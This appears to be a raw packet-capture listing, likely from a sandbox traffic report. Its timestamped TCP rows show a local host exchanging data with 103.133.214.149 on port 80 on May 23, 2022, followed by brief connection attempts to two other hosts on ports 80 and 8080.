May 23, 2022 09:56:45.588946104 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.588958025 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.588974953 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.588988066 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.589004040 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.589013100 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.589030981 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.589044094 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.589059114 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.589070082 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.589086056 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.589097023 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.589114904 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.589124918 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.589143038 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.589154959 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.589169979 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.589183092 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.589210033 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.592108965 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.755306959 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.755364895 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.755383968 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.755400896 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.755418062 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.755435944 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.755436897 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.755455971 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.755460978 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.755464077 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.755465984 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.755475044 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.755501032 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.755505085 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.755598068 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.756609917 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.756635904 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.756653070 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.756669044 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.756681919 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.756697893 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.756700039 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.756711960 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.756716013 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.756719112 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.756730080 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.756736040 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.756746054 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.756756067 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.756762028 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.756773949 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.756778955 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.756789923 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.756794930 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.756808043 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.756808996 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.756825924 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.756830931 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.756844997 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.756844997 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.756864071 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.756864071 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.756881952 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.756882906 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.756900072 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.756902933 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.756917000 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.756921053 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.756933928 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.756939888 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.756951094 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.756956100 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.756974936 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.756987095 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.760953903 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.760984898 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.761001110 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.761018991 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.761037111 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.761049032 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.761054039 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.761065960 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.761070013 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.761073112 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.761079073 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.761091948 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.761096001 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.761110067 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.761111975 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.761126995 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.761132002 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.761145115 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.761148930 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.761162043 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.761166096 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.761179924 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.761183023 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.761198997 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.761207104 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.761217117 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.761219978 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.761234045 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.761240959 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.761250973 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.761257887 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.761269093 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.761274099 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.761286020 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.761291027 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.761305094 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.761312008 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.761326075 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.761343002 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.766494989 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.924747944 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.924848080 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.924900055 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.924941063 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.924973965 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.924979925 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925009966 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925017118 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925020933 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925023079 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925061941 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925071001 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925101042 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925112009 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925139904 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925148010 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925179958 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925189972 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925218105 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925226927 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925257921 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925263882 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925297022 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925304890 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925337076 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925344944 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925376892 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925384045 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925415993 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925422907 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925461054 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925566912 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925606966 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925627947 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925648928 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925653934 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925688982 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925695896 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925728083 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925740957 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925770044 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925777912 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925811052 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925822020 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925853014 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925865889 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925892115 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925904036 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925930977 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925945997 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.925970078 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.925992966 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926011086 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926018953 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926048994 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926063061 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926090002 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926110029 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926131010 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926135063 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926170111 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926182985 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926209927 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926218987 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926249027 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926258087 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926290035 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926296949 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926330090 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926337004 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926368952 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926376104 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926409006 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926414967 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926450014 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926454067 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926489115 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926495075 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926528931 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926536083 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926568031 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926573992 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926609039 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926613092 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926649094 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926652908 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926687956 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926692963 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926728010 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926731110 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926767111 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926774025 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926805973 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926812887 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926845074 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926851034 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926886082 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926891088 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926925898 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926930904 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.926965952 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.926975965 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.927004099 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.927012920 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.927045107 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.927051067 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.927084923 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.927090883 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.927122116 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.927129030 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.927165985 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.930243015 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.930299997 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.930331945 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.930372953 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.930418015 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.930418015 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.930432081 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.930459976 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.930464029 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.930499077 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.930510998 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.930540085 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.930552959 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.930581093 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.930589914 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.930619001 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.930627108 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.930659056 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.930666924 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.930699110 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.930702925 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.930736065 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.930743933 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.930775881 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.930793047 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.930825949 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.930845022 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.930870056 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.930871964 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.930911064 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.930915117 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.930948973 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.930958033 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.930988073 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.930998087 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931030035 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931035995 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931067944 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931077003 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931108952 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931116104 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931149006 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931155920 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931190968 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931195021 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931231976 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931236982 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931269884 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931277990 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931309938 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931315899 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931349993 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931355000 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931387901 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931396008 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931427956 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931437016 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931468964 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931474924 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931509018 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931519985 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931550026 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931555986 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931588888 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931596041 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931628942 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931636095 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931668997 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931674004 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931706905 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931714058 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931746960 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931754112 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931786060 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931792021 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931826115 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.931833029 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.931873083 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:46.028171062 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:46.094319105 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.094403028 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.094464064 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.094558001 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:46.094567060 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.094597101 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:46.094615936 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:46.094623089 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.094672918 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:46.094676018 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.094722986 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:46.094728947 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.094777107 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:46.094782114 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.094829082 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:46.095918894 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.095993996 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.096049070 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.096084118 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:46.096102953 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:46.096102953 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.096149921 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:46.096159935 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.096206903 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:46.096210957 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.096256018 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:46.096262932 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.096309900 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:46.096318960 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.096364975 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:46.096369982 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.096415043 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:46.096424103 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.096470118 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:46.096504927 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.096564054 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:46.096580982 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.096626043 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:46.096628904 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:46.096672058 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:49.078124046 CEST	49176	80	192.168.2.22	211.149.139.157
May 23, 2022 09:56:52.085390091 CEST	49176	80	192.168.2.22	211.149.139.157
May 23, 2022 09:56:58.091864109 CEST	49176	80	192.168.2.22	211.149.139.157
May 23, 2022 09:57:05.800242901 CEST	49177	8080	192.168.2.22	173.82.82.196
